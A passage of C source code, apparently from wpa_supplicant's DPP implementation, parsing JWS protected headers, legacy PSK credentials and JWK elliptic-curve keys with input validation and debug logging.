wpa_printf(MSG_DEBUG, "DPP: Unsupported netRole '%s'", token->string); dpp_auth_fail(auth, "Unsupported netRole"); goto fail; } resp = dpp_build_conf_resp(auth, e_nonce, e_nonce_len, ap); fail: json_free(root); os_free(unwrapped); return resp; } static struct wpabuf * dpp_parse_jws_prot_hdr(const struct dpp_curve_params *curve, const u8 *prot_hdr, u16 prot_hdr_len, const EVP_MD **ret_md) { struct json_token *root, *token; struct wpabuf *kid = NULL; root = json_parse((const char *) prot_hdr, prot_hdr_len); if (!root) { wpa_printf(MSG_DEBUG, "DPP: JSON parsing failed for JWS Protected Header"); goto fail; } if (root->type != JSON_OBJECT) { wpa_printf(MSG_DEBUG, "DPP: JWS Protected Header root is not an object"); goto fail; } token = json_get_member(root, "typ"); if (!token || token->type != JSON_STRING) { wpa_printf(MSG_DEBUG, "DPP: No typ string value found"); goto fail; } wpa_printf(MSG_DEBUG, "DPP: JWS Protected Header typ=%s", token->string); if (os_strcmp(token->string, "dppCon") != 0) { wpa_printf(MSG_DEBUG, "DPP: Unsupported JWS Protected Header typ=%s", token->string); goto fail; } token = json_get_member(root, "alg"); if (!token || token->type != JSON_STRING) { wpa_printf(MSG_DEBUG, "DPP: No alg string value found"); goto fail; } wpa_printf(MSG_DEBUG, "DPP: JWS Protected Header alg=%s", token->string); if (os_strcmp(token->string, curve->jws_alg) != 0) { wpa_printf(MSG_DEBUG, "DPP: Unexpected JWS Protected Header alg=%s (expected %s based on C-sign-key)", token->string, curve->jws_alg); goto fail; } if (os_strcmp(token->string, "ES256") == 0 || os_strcmp(token->string, "BS256") == 0) *ret_md = EVP_sha256(); else if (os_strcmp(token->string, "ES384") == 0 || os_strcmp(token->string, "BS384") == 0) *ret_md = EVP_sha384(); else if (os_strcmp(token->string, "ES512") == 0 || os_strcmp(token->string, "BS512") == 0) *ret_md = EVP_sha512(); else *ret_md = NULL; if (!*ret_md) { wpa_printf(MSG_DEBUG, "DPP: Unsupported JWS Protected Header alg=%s", token->string); goto fail; } kid = json_get_member_base64url(root, "kid"); if (!kid) { wpa_printf(MSG_DEBUG, "DPP: No kid string value found"); goto fail; } wpa_hexdump_buf(MSG_DEBUG, "DPP: JWS Protected Header kid (decoded)", kid); fail: json_free(root); return kid; } static int dpp_parse_cred_legacy(struct dpp_authentication *auth, struct json_token *cred) { struct json_token *pass, *psk_hex; wpa_printf(MSG_DEBUG, "DPP: Legacy akm=psk credential"); pass = json_get_member(cred, "pass"); psk_hex = json_get_member(cred, "psk_hex"); if (pass && pass->type == JSON_STRING) { size_t len = os_strlen(pass->string); wpa_hexdump_ascii_key(MSG_DEBUG, "DPP: Legacy passphrase", pass->string, len); if (len < 8 || len > 63) return -1; os_strlcpy(auth->passphrase, pass->string, sizeof(auth->passphrase)); } else if (psk_hex && psk_hex->type == JSON_STRING) { if (auth->akm == DPP_AKM_SAE) { wpa_printf(MSG_DEBUG, "DPP: Unexpected psk_hex with akm=sae"); return -1; } if (os_strlen(psk_hex->string) != PMK_LEN * 2 || hexstr2bin(psk_hex->string, auth->psk, PMK_LEN) < 0) { wpa_printf(MSG_DEBUG, "DPP: Invalid psk_hex encoding"); return -1; } wpa_hexdump_key(MSG_DEBUG, "DPP: Legacy PSK", auth->psk, PMK_LEN); auth->psk_set = 1; } else { wpa_printf(MSG_DEBUG, "DPP: No pass or psk_hex strings found"); return -1; } if ((auth->akm == DPP_AKM_SAE || auth->akm == DPP_AKM_PSK_SAE) && !auth->passphrase[0]) { wpa_printf(MSG_DEBUG, "DPP: No pass for sae found"); return -1; } return 0; } static EVP_PKEY * dpp_parse_jwk(struct json_token *jwk, const struct dpp_curve_params **key_curve) { struct json_token *token; const struct dpp_curve_params *curve; struct wpabuf *x = NULL, *y = NULL; EC_GROUP *group; EVP_PKEY *pkey = NULL; token = json_get_member(jwk, "kty"); if (!token || token->type != JSON_STRING) { wpa_printf(MSG_DEBUG, "DPP: No kty in JWK"); goto fail; } if (os_strcmp(token->string, "EC") != 0) { wpa_printf(MSG_DEBUG, "DPP: Unexpected JWK kty '%s", token->string); goto fail; } token = json_get_member(jwk, "crv"); if (!token || token->type != JSON_STRING) { wpa_printf(MSG_DEBUG, "DPP: No crv in JWK"); goto fail; } curve = dpp_get_curve_jwk_crv(token->string); if (!curve) { wpa_printf(MSG_DEBUG, "DPP: Unsupported JWK crv '%s'", token->string); goto fail; } x = json_get_member_base64url(jwk, "x"); if (!x) { wpa_printf(MSG_DEBUG, "DPP: No x in JWK"); goto fail; } wpa_hexdump_buf(MSG_DEBUG, "DPP: JWK x", x); if (wpabuf_len(x) != curve->prime_len) { wpa_printf(MSG_DEBUG, "DPP: Unexpected JWK x length %u (expected %u for curve %s)", (unsigned int) wpabuf_len(x), (unsigned int) curve->prime_len, curve->name); goto fail; } y = json_get_member_base64url(jwk, "y"); if (!y) { wpa_printf(MSG_DEBUG, "DPP: No y in JWK"); goto fail; } wpa_hexdump_buf(MSG_DEBUG, "DPP: JWK y", y); if (wpabuf_len(y) != curve->prime_len) { wpa_printf(MSG_DEBUG, "DPP: Unexpected JWK y length %u (expected %u for curve %s)", (unsigned int) wpabuf_len(y), (unsigned int) curve->prime_len, curve->name); goto fail; } group = EC_GROUP_new_by_curve_name(OBJ_txt2nid(curve->name)); if (!group) { wpa_printf(MSG_DEBUG, "DPP: Could not prepare group for JWK"); goto fail; } pkey = dpp_set_pubkey_point_group(group, wpabuf_head(x), wpabuf_head(y), wpabuf_len(x)); *key_curve = curve; fail: wpabuf_free(x); wpabuf_free(y); return pkey; } int dpp_key_expired(const char *timestamp, os_time_t *expiry) { struct os_time now; unsigned int year, month, day, hour, min, sec; os_time_t utime; const char *pos; /* ISO 8601 date and time: * T